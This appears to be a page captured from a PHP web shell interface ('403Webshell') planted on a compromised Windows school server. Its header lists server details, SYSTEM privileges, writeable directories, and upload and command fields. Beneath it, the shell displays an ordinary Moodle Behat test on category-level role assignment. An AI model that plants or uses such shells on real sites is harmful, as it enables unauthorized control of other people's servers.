403Webshell
Server IP : 172.67.187.206  /  Your IP : 162.159.115.41
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Inetpub/www/myschool/triamudom/tuprblearn/course/tests/behat/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Inetpub/www/myschool/triamudom/tuprblearn/course/tests/behat/category_role_assignment.feature
@core @core_course
Feature: Role assignments can be made at the category level
  In order to grant a user different capabilities
  As a user
  I can assign roles in categories

  Background:
    Given the following "users" exist:
      | username  | firstname | lastname |
      | manager   | Manager   | Manager  |
    And the following "categories" exist:
      | name | category | idnumber |
      | Cat 1 | 0 | CAT1 |
    And the following "role assigns" exist:
      | user    | role          | contextlevel | reference |
      | manager | manager       | Category     | CAT1      |
    And I log in as "admin"

  @javascript
  Scenario: A user with a category role can assign roles
    Given I define the allowed role assignments for the "Manager" role as:
      | Teacher | Assignable |
    And I log out
    And I log in as "manager"
    And I am on course index
    When I follow "Cat 1"
    Then "Assign roles" "link" should exist in current page administration

  @javascript
  Scenario: A user with a category role cannot assign roles if there are no roles to assign
    Given I define the allowed role assignments for the "Manager" role as:
      | Manager             | Not assignable |
      | Course creator      | Not assignable |
      | Teacher             | Not assignable |
      | Non-editing teacher | Not assignable |
      | Student             | Not assignable |
    And I change window size to "large"
    And I log out
    And I log in as "manager"
    And I am on course index
    When I follow "Cat 1"
    Then "Assign roles" "link" should not exist in current page administration

Youez - 2016 - github.com/yon3zu
LinuXploit